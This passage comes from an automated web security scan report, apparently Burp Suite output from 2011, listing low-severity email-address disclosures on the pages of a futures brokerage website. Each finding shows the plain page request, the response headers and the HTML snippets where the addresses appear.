<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...

20.69. http://www.transworldfutures.com/free-papertrading.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/free-papertrading.html

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
jim@transworldfutures.com

Request

GET /free-papertrading.html HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:48:50 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 22076

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...

20.70. http://www.transworldfutures.com/fund_your_account.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/fund_your_account.html

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
jim@transworldfutures.com
rob@transworldfutures.com

Request

GET /fund_your_account.html HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:48:49 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 51442

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<input type="hidden" value="jim@transworldfutures.com,rob@transworldfutures.com" name="receiver" />
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...

20.71. http://www.transworldfutures.com/glossary.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/glossary.html

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
jim@transworldfutures.com

Request

GET /glossary.html HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

20.72. http://www.transworldfutures.com/index.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/index.html

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
jim@transworldfutures.com
jp@miamiweb.org

Request

GET /index.html HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:48:44 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 30238

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Con
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" onmouseout="MM_swapImgRestore()" onmouseover="MM_swapImage('Image19','','images/freetraders.jpg',1)">
...[SNIP]...
<input type="hidden" value="info@transworldfutures.com" name="receiver" />
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<input type="hidden" value="jp@miamiweb.org" name="receiver" />
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...

20.73. http://www.transworldfutures.com/intro_to_futures.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/intro_to_futures.html

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
jim@transworldfutures.com

Request

GET /intro_to_futures.html HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:48:47 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 20620

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...

20.74. http://www.transworldfutures.com/open-an-account.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/open-an-account.html

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
jim@transworldfutures.com

Request

GET /open-an-account.html HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:48:48 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 22830

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="mailto:info@transworldfutures.com">info@transworldfutures.com</a>
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...

20.75. http://www.transworldfutures.com/privacy_notice.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/privacy_notice.html

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
jim@transworldfutures.com

Request

GET /privacy_notice.html HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:48:51 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 25329

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...

20.76. http://www.transworldfutures.com/pro_trader.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/pro_trader.html

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
jim@transworldfutures.com

Request

GET /pro_trader.html HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:48:49 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 23175

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...

20.77. http://www.transworldfutures.com/quotes.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/quotes.html

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
jim@transworldfutures.com

Request

GET /quotes.html HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:48:45 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 18197

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...

20.78. http://www.transworldfutures.com/simulated_trading.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/simulated_trading.html

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
jim@transworldfutures.com
rob@transworldfutures.com

Request

GET /simulated_trading.html HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:48:48 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 38652

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures,%20LLC&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures,%20LLC&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures,%20LLC&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures,%20LLC&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<input type="hidden" value="jim@transworldfutures.com,rob@transworldfutures.com" name="receiver" />
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...

20.79. http://www.transworldfutures.com/strategy-exchange.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/strategy-exchange.html

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
jim@transworldfutures.com

Request

GET /strategy-exchange.html HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:48:50 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 18126

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...

20.80. http://www.transworldfutures.com/strategy-runner.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/strategy-runner.html

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
jim@transworldfutures.com
rob@transworldfutures.com

Request

GET /strategy-runner.html HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:48:50 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 23467

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<input type="hidden" value="jim@transworldfutures.com,rob@transworldfutures.com" name="receiver" />
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...

20.81. http://www.transworldfutures.com/trading_exchanges.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/trading_exchanges.html

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
